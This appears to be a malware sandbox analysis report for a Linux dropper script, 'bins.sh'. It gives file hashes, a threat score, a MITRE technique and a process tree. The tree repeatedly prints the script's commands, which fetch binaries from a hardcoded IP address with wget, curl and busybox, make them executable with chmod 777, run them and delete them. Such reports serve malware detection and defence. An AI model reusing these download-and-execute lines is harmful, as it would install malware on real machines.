65d817bfe64798eae153d87bc9312242e74b5fdcc3078f3df9ff582da4de45ed

Analysis

max time kernel
20s
max time network
129s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20240611-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
26/10/2024, 16:51

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
bins.sh
Size 10KB
Sample241026-vctrxswelb
SHA256 65d817bfe64798eae153d87bc9312242e74b5fdcc3078f3df9ff582da4de45ed
MD5 35318076a617842833981ac8fa8ba19c
SHA1 62aec42cd5bef2cbe20572b60a0b253a0d20125c
SHA512 1f43113e662bdaded5b2d8b7f774f7f9315e8076796e540e6d8a986a924ad51846df6adc53defc725761011d4db497727d34da34147001af99d0a3a7b8098786
SSDEEP 96:fi3PkW+DK2itmOzrZrBrCr1rZrr+X0JhJFJmJzJTJFJISzrZrBrCr1rZrAat3P1B:fW+DK2vOi+XA37GFllW+DK2u37GFli
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

defense_evasion

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 28 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1555	chmod
1573	chmod
1585	chmod
1531	chmod
1579	chmod
1615	chmod
1633	chmod
1663	chmod
1537	chmod
1549	chmod
1561	chmod
1567	chmod
1609	chmod
1621	chmod
1669	chmod
1681	chmod
1519	chmod
1543	chmod
1591	chmod
1597	chmod
1627	chmod
1651	chmod
1525	chmod
1603	chmod
1639	chmod
1645	chmod
1657	chmod
1675	chmod

Executes dropped EXE 28 IoCs

Writes file to tmp directory 28 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/tchFQlm1YV1PDhHe7CsesQpdiOV9dOLUxL	curl
File opened for modification	/tmp/HqHKMKAmA4uMtLnE4BOyamhMeab9NPhOKY	curl
File opened for modification	/tmp/hjR11PMunS5hZ1XWj648wFOlC31rDlU9Oz	curl
File opened for modification	/tmp/MDzRcEm1DELsEDvs5fhYrMXim0mGi8gGt3	curl
File opened for modification	/tmp/ry3yyAWA8gvHfOPrtHme4EUCnkN84ghJgl	curl
File opened for modification	/tmp/MDzRcEm1DELsEDvs5fhYrMXim0mGi8gGt3	curl
File opened for modification	/tmp/ry3yyAWA8gvHfOPrtHme4EUCnkN84ghJgl	curl
File opened for modification	/tmp/abVgEnAsepPZTZYb4Ffrc4cHEmdHuO6JvO	curl
File opened for modification	/tmp/wvactqSpBbg9GIMT8uWrCz3JwotirOmZ2L	curl
File opened for modification	/tmp/1bO1ve490OiF67f6bvfPDAyAAyX0XW0Obk	curl
File opened for modification	/tmp/d25rz2N8B9Phz4gnbtMtH62uAo0wvfrbOB	curl
File opened for modification	/tmp/iJ6TFHOYD8tcefIuqH1RRc0iHuSx8KZ2WB	curl
File opened for modification	/tmp/2kfiqTAb9TwvJ3cRKmJyZl7nvGwPZLNvQ2	curl
File opened for modification	/tmp/ZAkQFqtMI0ja7Ul9xjKgN2FlfKT0EtiX5H	curl
File opened for modification	/tmp/tchFQlm1YV1PDhHe7CsesQpdiOV9dOLUxL	curl
File opened for modification	/tmp/hjR11PMunS5hZ1XWj648wFOlC31rDlU9Oz	curl
File opened for modification	/tmp/1bO1ve490OiF67f6bvfPDAyAAyX0XW0Obk	curl
File opened for modification	/tmp/HqHKMKAmA4uMtLnE4BOyamhMeab9NPhOKY	curl
File opened for modification	/tmp/abVgEnAsepPZTZYb4Ffrc4cHEmdHuO6JvO	curl
File opened for modification	/tmp/MCLd4GeJHdSpliFlt9tCayCZbpTkDdidkF	curl
File opened for modification	/tmp/MCLd4GeJHdSpliFlt9tCayCZbpTkDdidkF	curl
File opened for modification	/tmp/iJ6TFHOYD8tcefIuqH1RRc0iHuSx8KZ2WB	curl
File opened for modification	/tmp/wvactqSpBbg9GIMT8uWrCz3JwotirOmZ2L	curl
File opened for modification	/tmp/2kfiqTAb9TwvJ3cRKmJyZl7nvGwPZLNvQ2	curl
File opened for modification	/tmp/d25rz2N8B9Phz4gnbtMtH62uAo0wvfrbOB	curl
File opened for modification	/tmp/OtEBOsIkHVaFslV07uraYGJPEGeeI3ORzz	curl
File opened for modification	/tmp/ZAkQFqtMI0ja7Ul9xjKgN2FlfKT0EtiX5H	curl
File opened for modification	/tmp/OtEBOsIkHVaFslV07uraYGJPEGeeI3ORzz	curl

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:1511
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:1512
- /usr/bin/wget
  wget http://87.120.84.230/bins/2kfiqTAb9TwvJ3cRKmJyZl7nvGwPZLNvQ2
  2⤵
  PID:1513
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/2kfiqTAb9TwvJ3cRKmJyZl7nvGwPZLNvQ2
  2⤵
  - Writes file to tmp directory
  PID:1517
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/2kfiqTAb9TwvJ3cRKmJyZl7nvGwPZLNvQ2
  2⤵
  PID:1518
- /bin/chmod
  chmod 777 2kfiqTAb9TwvJ3cRKmJyZl7nvGwPZLNvQ2
  2⤵
  - File and Directory Permissions Modification
  PID:1519
- /tmp/2kfiqTAb9TwvJ3cRKmJyZl7nvGwPZLNvQ2
  ./2kfiqTAb9TwvJ3cRKmJyZl7nvGwPZLNvQ2
  2⤵
  - Executes dropped EXE
  PID:1520
- /bin/rm
  rm 2kfiqTAb9TwvJ3cRKmJyZl7nvGwPZLNvQ2
  2⤵
  PID:1521
- /usr/bin/wget
  wget http://87.120.84.230/bins/ZAkQFqtMI0ja7Ul9xjKgN2FlfKT0EtiX5H
  2⤵
  PID:1522
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/ZAkQFqtMI0ja7Ul9xjKgN2FlfKT0EtiX5H
  2⤵
  - Writes file to tmp directory
  PID:1523
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/ZAkQFqtMI0ja7Ul9xjKgN2FlfKT0EtiX5H
  2⤵
  PID:1524
- /bin/chmod
  chmod 777 ZAkQFqtMI0ja7Ul9xjKgN2FlfKT0EtiX5H
  2⤵
  - File and Directory Permissions Modification
  PID:1525
- /tmp/ZAkQFqtMI0ja7Ul9xjKgN2FlfKT0EtiX5H
  ./ZAkQFqtMI0ja7Ul9xjKgN2FlfKT0EtiX5H
  2⤵
  - Executes dropped EXE
  PID:1526
- /bin/rm
  rm ZAkQFqtMI0ja7Ul9xjKgN2FlfKT0EtiX5H
  2⤵
  PID:1527
- /usr/bin/wget
  wget http://87.120.84.230/bins/tchFQlm1YV1PDhHe7CsesQpdiOV9dOLUxL
  2⤵
  PID:1528
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/tchFQlm1YV1PDhHe7CsesQpdiOV9dOLUxL
  2⤵
  - Writes file to tmp directory
  PID:1529
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/tchFQlm1YV1PDhHe7CsesQpdiOV9dOLUxL
  2⤵
  PID:1530
- /bin/chmod
  chmod 777 tchFQlm1YV1PDhHe7CsesQpdiOV9dOLUxL
  2⤵
  - File and Directory Permissions Modification
  PID:1531
- /tmp/tchFQlm1YV1PDhHe7CsesQpdiOV9dOLUxL
  ./tchFQlm1YV1PDhHe7CsesQpdiOV9dOLUxL
  2⤵
  - Executes dropped EXE
  PID:1532
- /bin/rm
  rm tchFQlm1YV1PDhHe7CsesQpdiOV9dOLUxL
  2⤵
  PID:1533
- /usr/bin/wget
  wget http://87.120.84.230/bins/d25rz2N8B9Phz4gnbtMtH62uAo0wvfrbOB
  2⤵
  PID:1534
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/d25rz2N8B9Phz4gnbtMtH62uAo0wvfrbOB
  2⤵
  - Writes file to tmp directory
  PID:1535
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/d25rz2N8B9Phz4gnbtMtH62uAo0wvfrbOB
  2⤵
  PID:1536
- /bin/chmod
  chmod 777 d25rz2N8B9Phz4gnbtMtH62uAo0wvfrbOB
  2⤵
  - File and Directory Permissions Modification
  PID:1537
- /tmp/d25rz2N8B9Phz4gnbtMtH62uAo0wvfrbOB
  ./d25rz2N8B9Phz4gnbtMtH62uAo0wvfrbOB
  2⤵
  - Executes dropped EXE
  PID:1538
- /bin/rm
  rm d25rz2N8B9Phz4gnbtMtH62uAo0wvfrbOB
  2⤵
  PID:1539
- /usr/bin/wget
  wget http://87.120.84.230/bins/ry3yyAWA8gvHfOPrtHme4EUCnkN84ghJgl
  2⤵
  PID:1540
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/ry3yyAWA8gvHfOPrtHme4EUCnkN84ghJgl
  2⤵
  - Writes file to tmp directory
  PID:1541
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/ry3yyAWA8gvHfOPrtHme4EUCnkN84ghJgl
  2⤵
  PID:1542
- /bin/chmod
  chmod 777 ry3yyAWA8gvHfOPrtHme4EUCnkN84ghJgl
  2⤵
  - File and Directory Permissions Modification
  PID:1543
- /tmp/ry3yyAWA8gvHfOPrtHme4EUCnkN84ghJgl
  ./ry3yyAWA8gvHfOPrtHme4EUCnkN84ghJgl
  2⤵
  - Executes dropped EXE
  PID:1544
- /bin/rm
  rm ry3yyAWA8gvHfOPrtHme4EUCnkN84ghJgl
  2⤵
  PID:1545
- /usr/bin/wget
  wget http://87.120.84.230/bins/wvactqSpBbg9GIMT8uWrCz3JwotirOmZ2L
  2⤵
  PID:1546
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/wvactqSpBbg9GIMT8uWrCz3JwotirOmZ2L
  2⤵
  - Writes file to tmp directory
  PID:1547
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/wvactqSpBbg9GIMT8uWrCz3JwotirOmZ2L
  2⤵
  PID:1548
- /bin/chmod
  chmod 777 wvactqSpBbg9GIMT8uWrCz3JwotirOmZ2L
  2⤵
  - File and Directory Permissions Modification
  PID:1549
- /tmp/wvactqSpBbg9GIMT8uWrCz3JwotirOmZ2L
  ./wvactqSpBbg9GIMT8uWrCz3JwotirOmZ2L
  2⤵
  - Executes dropped EXE
  PID:1550
- /bin/rm
  rm wvactqSpBbg9GIMT8uWrCz3JwotirOmZ2L
  2⤵
  PID:1551
- /usr/bin/wget
  wget http://87.120.84.230/bins/HqHKMKAmA4uMtLnE4BOyamhMeab9NPhOKY
  2⤵
  PID:1552
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/HqHKMKAmA4uMtLnE4BOyamhMeab9NPhOKY
  2⤵
  - Writes file to tmp directory
  PID:1553
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/HqHKMKAmA4uMtLnE4BOyamhMeab9NPhOKY
  2⤵
  PID:1554
- /bin/chmod
  chmod 777 HqHKMKAmA4uMtLnE4BOyamhMeab9NPhOKY
  2⤵
  - File and Directory Permissions Modification
  PID:1555
- /tmp/HqHKMKAmA4uMtLnE4BOyamhMeab9NPhOKY
  ./HqHKMKAmA4uMtLnE4BOyamhMeab9NPhOKY
  2⤵
  - Executes dropped EXE
  PID:1556
- /bin/rm
  rm HqHKMKAmA4uMtLnE4BOyamhMeab9NPhOKY
  2⤵
  PID:1557
- /usr/bin/wget
  wget http://87.120.84.230/bins/MDzRcEm1DELsEDvs5fhYrMXim0mGi8gGt3
  2⤵
  PID:1558
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/MDzRcEm1DELsEDvs5fhYrMXim0mGi8gGt3
  2⤵
  - Writes file to tmp directory
  PID:1559
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/MDzRcEm1DELsEDvs5fhYrMXim0mGi8gGt3
  2⤵
  PID:1560
- /bin/chmod
  chmod 777 MDzRcEm1DELsEDvs5fhYrMXim0mGi8gGt3
  2⤵
  - File and Directory Permissions Modification
  PID:1561
- /tmp/MDzRcEm1DELsEDvs5fhYrMXim0mGi8gGt3
  ./MDzRcEm1DELsEDvs5fhYrMXim0mGi8gGt3
  2⤵
  - Executes dropped EXE
  PID:1562
- /bin/rm
  rm MDzRcEm1DELsEDvs5fhYrMXim0mGi8gGt3
  2⤵
  PID:1563
- /usr/bin/wget
  wget http://87.120.84.230/bins/iJ6TFHOYD8tcefIuqH1RRc0iHuSx8KZ2WB
  2⤵
  PID:1564
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/iJ6TFHOYD8tcefIuqH1RRc0iHuSx8KZ2WB
  2⤵
  - Writes file to tmp directory
  PID:1565
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/iJ6TFHOYD8tcefIuqH1RRc0iHuSx8KZ2WB
  2⤵
  PID:1566
- /bin/chmod
  chmod 777 iJ6TFHOYD8tcefIuqH1RRc0iHuSx8KZ2WB
  2⤵
  - File and Directory Permissions Modification
  PID:1567
- /tmp/iJ6TFHOYD8tcefIuqH1RRc0iHuSx8KZ2WB
  ./iJ6TFHOYD8tcefIuqH1RRc0iHuSx8KZ2WB
  2⤵
  - Executes dropped EXE
  PID:1568
- /bin/rm
  rm iJ6TFHOYD8tcefIuqH1RRc0iHuSx8KZ2WB
  2⤵
  PID:1569
- /usr/bin/wget
  wget http://87.120.84.230/bins/OtEBOsIkHVaFslV07uraYGJPEGeeI3ORzz
  2⤵
  PID:1570
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/OtEBOsIkHVaFslV07uraYGJPEGeeI3ORzz
  2⤵
  - Writes file to tmp directory
  PID:1571
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/OtEBOsIkHVaFslV07uraYGJPEGeeI3ORzz
  2⤵
  PID:1572
- /bin/chmod
  chmod 777 OtEBOsIkHVaFslV07uraYGJPEGeeI3ORzz
  2⤵
  - File and Directory Permissions Modification
  PID:1573
- /tmp/OtEBOsIkHVaFslV07uraYGJPEGeeI3ORzz
  ./OtEBOsIkHVaFslV07uraYGJPEGeeI3ORzz
  2⤵
  - Executes dropped EXE
  PID:1574
- /bin/rm
  rm OtEBOsIkHVaFslV07uraYGJPEGeeI3ORzz
  2⤵
  PID:1575
- /usr/bin/wget
  wget http://87.120.84.230/bins/hjR11PMunS5hZ1XWj648wFOlC31rDlU9Oz
  2⤵
  PID:1576
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/hjR11PMunS5hZ1XWj648wFOlC31rDlU9Oz
  2⤵
  - Writes file to tmp directory
  PID:1577
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/hjR11PMunS5hZ1XWj648wFOlC31rDlU9Oz
  2⤵
  PID:1578
- /bin/chmod
  chmod 777 hjR11PMunS5hZ1XWj648wFOlC31rDlU9Oz
  2⤵
  - File and Directory Permissions Modification
  PID:1579
- /tmp/hjR11PMunS5hZ1XWj648wFOlC31rDlU9Oz
  ./hjR11PMunS5hZ1XWj648wFOlC31rDlU9Oz
  2⤵
  - Executes dropped EXE
  PID:1580
- /bin/rm
  rm hjR11PMunS5hZ1XWj648wFOlC31rDlU9Oz
  2⤵
  PID:1581
- /usr/bin/wget
  wget http://87.120.84.230/bins/1bO1ve490OiF67f6bvfPDAyAAyX0XW0Obk
  2⤵
  PID:1582
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/1bO1ve490OiF67f6bvfPDAyAAyX0XW0Obk
  2⤵
  - Writes file to tmp directory
  PID:1583
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/1bO1ve490OiF67f6bvfPDAyAAyX0XW0Obk
  2⤵
  PID:1584
- /bin/chmod
  chmod 777 1bO1ve490OiF67f6bvfPDAyAAyX0XW0Obk
  2⤵
  - File and Directory Permissions Modification
  PID:1585
- /tmp/1bO1ve490OiF67f6bvfPDAyAAyX0XW0Obk
  ./1bO1ve490OiF67f6bvfPDAyAAyX0XW0Obk
  2⤵
  - Executes dropped EXE
  PID:1586
- /bin/rm
  rm 1bO1ve490OiF67f6bvfPDAyAAyX0XW0Obk
  2⤵
  PID:1587
- /usr/bin/wget
  wget http://87.120.84.230/bins/abVgEnAsepPZTZYb4Ffrc4cHEmdHuO6JvO
  2⤵
  PID:1588
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/abVgEnAsepPZTZYb4Ffrc4cHEmdHuO6JvO
  2⤵
  - Writes file to tmp directory
  PID:1589
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/abVgEnAsepPZTZYb4Ffrc4cHEmdHuO6JvO
  2⤵
  PID:1590
- /bin/chmod
  chmod 777 abVgEnAsepPZTZYb4Ffrc4cHEmdHuO6JvO
  2⤵
  - File and Directory Permissions Modification
  PID:1591
- /tmp/abVgEnAsepPZTZYb4Ffrc4cHEmdHuO6JvO
  ./abVgEnAsepPZTZYb4Ffrc4cHEmdHuO6JvO
  2⤵
  - Executes dropped EXE
  PID:1592
- /bin/rm
  rm abVgEnAsepPZTZYb4Ffrc4cHEmdHuO6JvO
  2⤵
  PID:1593
- /usr/bin/wget
  wget http://87.120.84.230/bins/MCLd4GeJHdSpliFlt9tCayCZbpTkDdidkF
  2⤵
  PID:1594
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/MCLd4GeJHdSpliFlt9tCayCZbpTkDdidkF
  2⤵
  - Writes file to tmp directory
  PID:1595
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/MCLd4GeJHdSpliFlt9tCayCZbpTkDdidkF
  2⤵
  PID:1596
- /bin/chmod
  chmod 777 MCLd4GeJHdSpliFlt9tCayCZbpTkDdidkF
  2⤵
  - File and Directory Permissions Modification
  PID:1597
- /tmp/MCLd4GeJHdSpliFlt9tCayCZbpTkDdidkF
  ./MCLd4GeJHdSpliFlt9tCayCZbpTkDdidkF
  2⤵
  - Executes dropped EXE
  PID:1598
- /bin/rm
  rm MCLd4GeJHdSpliFlt9tCayCZbpTkDdidkF
  2⤵
  PID:1599
- /usr/bin/wget
  wget http://87.120.84.230/bins/MCLd4GeJHdSpliFlt9tCayCZbpTkDdidkF
  2⤵
  PID:1600
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/MCLd4GeJHdSpliFlt9tCayCZbpTkDdidkF
  2⤵
  - Writes file to tmp directory
  PID:1601
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/MCLd4GeJHdSpliFlt9tCayCZbpTkDdidkF
  2⤵
  PID:1602
- /bin/chmod
  chmod 777 MCLd4GeJHdSpliFlt9tCayCZbpTkDdidkF
  2⤵
  - File and Directory Permissions Modification
  PID:1603
- /tmp/MCLd4GeJHdSpliFlt9tCayCZbpTkDdidkF
  ./MCLd4GeJHdSpliFlt9tCayCZbpTkDdidkF
  2⤵
  - Executes dropped EXE
  PID:1604
- /bin/rm
  rm MCLd4GeJHdSpliFlt9tCayCZbpTkDdidkF
  2⤵
  PID:1605
- /usr/bin/wget
  wget http://87.120.84.230/bins/2kfiqTAb9TwvJ3cRKmJyZl7nvGwPZLNvQ2
  2⤵
  PID:1606
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/2kfiqTAb9TwvJ3cRKmJyZl7nvGwPZLNvQ2
  2⤵
  - Writes file to tmp directory
  PID:1607
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/2kfiqTAb9TwvJ3cRKmJyZl7nvGwPZLNvQ2
  2⤵
  PID:1608
- /bin/chmod
  chmod 777 2kfiqTAb9TwvJ3cRKmJyZl7nvGwPZLNvQ2
  2⤵
  - File and Directory Permissions Modification
  PID:1609
- /tmp/2kfiqTAb9TwvJ3cRKmJyZl7nvGwPZLNvQ2
  ./2kfiqTAb9TwvJ3cRKmJyZl7nvGwPZLNvQ2
  2⤵
  - Executes dropped EXE
  PID:1610
- /bin/rm
  rm 2kfiqTAb9TwvJ3cRKmJyZl7nvGwPZLNvQ2
  2⤵
  PID:1611
- /usr/bin/wget
  wget http://87.120.84.230/bins/MDzRcEm1DELsEDvs5fhYrMXim0mGi8gGt3
  2⤵
  PID:1612
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/MDzRcEm1DELsEDvs5fhYrMXim0mGi8gGt3
  2⤵
  - Writes file to tmp directory
  PID:1613
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/MDzRcEm1DELsEDvs5fhYrMXim0mGi8gGt3
  2⤵
  PID:1614
- /bin/chmod
  chmod 777 MDzRcEm1DELsEDvs5fhYrMXim0mGi8gGt3
  2⤵
  - File and Directory Permissions Modification
  PID:1615
- /tmp/MDzRcEm1DELsEDvs5fhYrMXim0mGi8gGt3
  ./MDzRcEm1DELsEDvs5fhYrMXim0mGi8gGt3
  2⤵
  - Executes dropped EXE
  PID:1616
- /bin/rm
  rm MDzRcEm1DELsEDvs5fhYrMXim0mGi8gGt3
  2⤵
  PID:1617
- /usr/bin/wget
  wget http://87.120.84.230/bins/iJ6TFHOYD8tcefIuqH1RRc0iHuSx8KZ2WB
  2⤵
  PID:1618
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/iJ6TFHOYD8tcefIuqH1RRc0iHuSx8KZ2WB
  2⤵
  - Writes file to tmp directory
  PID:1619
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/iJ6TFHOYD8tcefIuqH1RRc0iHuSx8KZ2WB
  2⤵
  PID:1620
- /bin/chmod
  chmod 777 iJ6TFHOYD8tcefIuqH1RRc0iHuSx8KZ2WB
  2⤵
  - File and Directory Permissions Modification
  PID:1621
- /tmp/iJ6TFHOYD8tcefIuqH1RRc0iHuSx8KZ2WB
  ./iJ6TFHOYD8tcefIuqH1RRc0iHuSx8KZ2WB
  2⤵
  - Executes dropped EXE
  PID:1622
- /bin/rm
  rm iJ6TFHOYD8tcefIuqH1RRc0iHuSx8KZ2WB
  2⤵
  PID:1623
- /usr/bin/wget
  wget http://87.120.84.230/bins/ZAkQFqtMI0ja7Ul9xjKgN2FlfKT0EtiX5H
  2⤵
  PID:1624
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/ZAkQFqtMI0ja7Ul9xjKgN2FlfKT0EtiX5H
  2⤵
  - Writes file to tmp directory
  PID:1625
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/ZAkQFqtMI0ja7Ul9xjKgN2FlfKT0EtiX5H
  2⤵
  PID:1626
- /bin/chmod
  chmod 777 ZAkQFqtMI0ja7Ul9xjKgN2FlfKT0EtiX5H
  2⤵
  - File and Directory Permissions Modification
  PID:1627
- /tmp/ZAkQFqtMI0ja7Ul9xjKgN2FlfKT0EtiX5H
  ./ZAkQFqtMI0ja7Ul9xjKgN2FlfKT0EtiX5H
  2⤵
  - Executes dropped EXE
  PID:1628
- /bin/rm
  rm ZAkQFqtMI0ja7Ul9xjKgN2FlfKT0EtiX5H
  2⤵
  PID:1629
- /usr/bin/wget
  wget http://87.120.84.230/bins/tchFQlm1YV1PDhHe7CsesQpdiOV9dOLUxL
  2⤵
  PID:1630
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/tchFQlm1YV1PDhHe7CsesQpdiOV9dOLUxL
  2⤵
  - Writes file to tmp directory
  PID:1631
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/tchFQlm1YV1PDhHe7CsesQpdiOV9dOLUxL
  2⤵
  PID:1632
- /bin/chmod
  chmod 777 tchFQlm1YV1PDhHe7CsesQpdiOV9dOLUxL
  2⤵
  - File and Directory Permissions Modification
  PID:1633
- /tmp/tchFQlm1YV1PDhHe7CsesQpdiOV9dOLUxL
  ./tchFQlm1YV1PDhHe7CsesQpdiOV9dOLUxL
  2⤵
  - Executes dropped EXE
  PID:1634
- /bin/rm
  rm tchFQlm1YV1PDhHe7CsesQpdiOV9dOLUxL
  2⤵
  PID:1635
- /usr/bin/wget
  wget http://87.120.84.230/bins/d25rz2N8B9Phz4gnbtMtH62uAo0wvfrbOB
  2⤵
  PID:1636
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/d25rz2N8B9Phz4gnbtMtH62uAo0wvfrbOB
  2⤵
  - Writes file to tmp directory
  PID:1637
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/d25rz2N8B9Phz4gnbtMtH62uAo0wvfrbOB
  2⤵
  PID:1638
- /bin/chmod
  chmod 777 d25rz2N8B9Phz4gnbtMtH62uAo0wvfrbOB
  2⤵
  - File and Directory Permissions Modification
  PID:1639
- /tmp/d25rz2N8B9Phz4gnbtMtH62uAo0wvfrbOB
  ./d25rz2N8B9Phz4gnbtMtH62uAo0wvfrbOB
  2⤵
  - Executes dropped EXE
  PID:1640
- /bin/rm
  rm d25rz2N8B9Phz4gnbtMtH62uAo0wvfrbOB
  2⤵
  PID:1641
- /usr/bin/wget
  wget http://87.120.84.230/bins/ry3yyAWA8gvHfOPrtHme4EUCnkN84ghJgl
  2⤵
  PID:1642
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/ry3yyAWA8gvHfOPrtHme4EUCnkN84ghJgl
  2⤵
  - Writes file to tmp directory
  PID:1643
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/ry3yyAWA8gvHfOPrtHme4EUCnkN84ghJgl
  2⤵
  PID:1644
- /bin/chmod
  chmod 777 ry3yyAWA8gvHfOPrtHme4EUCnkN84ghJgl
  2⤵
  - File and Directory Permissions Modification
  PID:1645
- /tmp/ry3yyAWA8gvHfOPrtHme4EUCnkN84ghJgl
  ./ry3yyAWA8gvHfOPrtHme4EUCnkN84ghJgl
  2⤵
  - Executes dropped EXE
  PID:1646
- /bin/rm
  rm ry3yyAWA8gvHfOPrtHme4EUCnkN84ghJgl
  2⤵
  PID:1647
- /usr/bin/wget
  wget http://87.120.84.230/bins/wvactqSpBbg9GIMT8uWrCz3JwotirOmZ2L
  2⤵
  PID:1648
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/wvactqSpBbg9GIMT8uWrCz3JwotirOmZ2L
  2⤵
  - Writes file to tmp directory
  PID:1649
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/wvactqSpBbg9GIMT8uWrCz3JwotirOmZ2L
  2⤵
  PID:1650
- /bin/chmod
  chmod 777 wvactqSpBbg9GIMT8uWrCz3JwotirOmZ2L
  2⤵
  - File and Directory Permissions Modification
  PID:1651
- /tmp/wvactqSpBbg9GIMT8uWrCz3JwotirOmZ2L
  ./wvactqSpBbg9GIMT8uWrCz3JwotirOmZ2L
  2⤵
  - Executes dropped EXE
  PID:1652
- /bin/rm
  rm wvactqSpBbg9GIMT8uWrCz3JwotirOmZ2L
  2⤵
  PID:1653
- /usr/bin/wget
  wget http://87.120.84.230/bins/HqHKMKAmA4uMtLnE4BOyamhMeab9NPhOKY
  2⤵
  PID:1654
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/HqHKMKAmA4uMtLnE4BOyamhMeab9NPhOKY
  2⤵
  - Writes file to tmp directory
  PID:1655
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/HqHKMKAmA4uMtLnE4BOyamhMeab9NPhOKY
  2⤵
  PID:1656
- /bin/chmod
  chmod 777 HqHKMKAmA4uMtLnE4BOyamhMeab9NPhOKY
  2⤵
  - File and Directory Permissions Modification
  PID:1657
- /tmp/HqHKMKAmA4uMtLnE4BOyamhMeab9NPhOKY
  ./HqHKMKAmA4uMtLnE4BOyamhMeab9NPhOKY
  2⤵
  - Executes dropped EXE
  PID:1658
- /bin/rm
  rm HqHKMKAmA4uMtLnE4BOyamhMeab9NPhOKY
  2⤵
  PID:1659
- /usr/bin/wget
  wget http://87.120.84.230/bins/OtEBOsIkHVaFslV07uraYGJPEGeeI3ORzz
  2⤵
  PID:1660
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/OtEBOsIkHVaFslV07uraYGJPEGeeI3ORzz
  2⤵
  - Writes file to tmp directory
  PID:1661
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/OtEBOsIkHVaFslV07uraYGJPEGeeI3ORzz
  2⤵
  PID:1662
- /bin/chmod
  chmod 777 OtEBOsIkHVaFslV07uraYGJPEGeeI3ORzz
  2⤵
  - File and Directory Permissions Modification
  PID:1663
- /tmp/OtEBOsIkHVaFslV07uraYGJPEGeeI3ORzz
  ./OtEBOsIkHVaFslV07uraYGJPEGeeI3ORzz
  2⤵
  - Executes dropped EXE
  PID:1664
- /bin/rm
  rm OtEBOsIkHVaFslV07uraYGJPEGeeI3ORzz
  2⤵
  PID:1665
- /usr/bin/wget
  wget http://87.120.84.230/bins/hjR11PMunS5hZ1XWj648wFOlC31rDlU9Oz
  2⤵
  PID:1666
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/hjR11PMunS5hZ1XWj648wFOlC31rDlU9Oz
  2⤵
  - Writes file to tmp directory
  PID:1667
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/hjR11PMunS5hZ1XWj648wFOlC31rDlU9Oz
  2⤵
  PID:1668
- /bin/chmod
  chmod 777 hjR11PMunS5hZ1XWj648wFOlC31rDlU9Oz
  2⤵
  - File and Directory Permissions Modification
  PID:1669
- /tmp/hjR11PMunS5hZ1XWj648wFOlC31rDlU9Oz
  ./hjR11PMunS5hZ1XWj648wFOlC31rDlU9Oz
  2⤵
  - Executes dropped EXE
  PID:1670
- /bin/rm
  rm hjR11PMunS5hZ1XWj648wFOlC31rDlU9Oz
  2⤵
  PID:1671
- /usr/bin/wget
  wget http://87.120.84.230/bins/1bO1ve490OiF67f6bvfPDAyAAyX0XW0Obk
  2⤵
  PID:1672
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/1bO1ve490OiF67f6bvfPDAyAAyX0XW0Obk
  2⤵
  - Writes file to tmp directory
  PID:1673
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/1bO1ve490OiF67f6bvfPDAyAAyX0XW0Obk
  2⤵
  PID:1674
- /bin/chmod
